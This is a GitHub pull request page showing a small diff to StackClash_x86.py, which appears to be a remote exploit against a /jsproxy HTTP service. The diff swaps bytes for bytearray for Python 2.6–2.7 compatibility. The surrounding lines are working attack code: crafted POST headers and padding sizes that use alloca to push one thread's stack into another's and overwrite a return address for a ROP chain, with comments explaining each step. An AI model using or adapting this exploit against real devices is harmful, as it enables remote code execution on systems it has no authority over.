Skip to content

StackClash_x86 change bytes for bytearray, interpretation wrong for python 2.6-7 #16

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
11ume wants to merge 3 commits into
base: master
Choose a base branch
from
Open

StackClash_x86 change bytes for bytearray, interpretation wrong for python 2.6-7 #16

Changes from all commits
Commits
Show all changes
3 commits
Select commit Hold shift + click to select a range
9857eb4
Change bytes for bytearray python 2.7 problem
11ume Feb 5, 2018
9d57a27
Update StackClash_x86.py
11ume Feb 6, 2018
48e9bce
change bytes for bytearray
11ume Feb 7, 2018
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 2 additions & 2 deletions StackClash_x86.py
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -27,7 +27,7 @@
cmd_chunks = []

def makeHeader(num):
return bytes("POST /jsproxy HTTP/1.1\r\nContent-Length: ") + bytes(str(num)) + bytes("\r\n\r\n")
return bytearray("POST /jsproxy HTTP/1.1\r\nContent-Length: " + str(num) + "\r\n\r\n", "ascii")

def makeSocket(ip, port):
s = socket.socket()
Expand Down Expand Up @@ -204,7 +204,7 @@ def stackClash(ip, port, ropChain):
socketSend(s1, makeHeader(AST_STACKSIZE + SKIP_SPACE + ROP_SPACE)) # thanks to alloca, the Stack Pointer of thread A will point inside the stack frame of thread B (the post_data buffer will start from here)

# 2.2) send some bytes as post data to socket 1 (thread A)
socketSend(s1, b'A'*(SKIP_SPACE - ALIGN_SIZE - ADDRESS_SIZE)) # increase the post_data buffer pointer of thread A to a position where a return address of thread B will be saved
socketSend(s1, bytearray('A'*(SKIP_SPACE - ALIGN_SIZE - ADDRESS_SIZE), "ascii")) # increase the post_data buffer pointer of thread A to a position where a return address of thread B will be saved

# 2.3) send post header with Content-Length to reserve ROP space to socket 2 (thread B)
socketSend(s2, makeHeader(ROP_SPACE)) # thanks to alloca, the Stack Pointer of thread B will point where post_data buffer pointer of thread A is positioned
Expand Down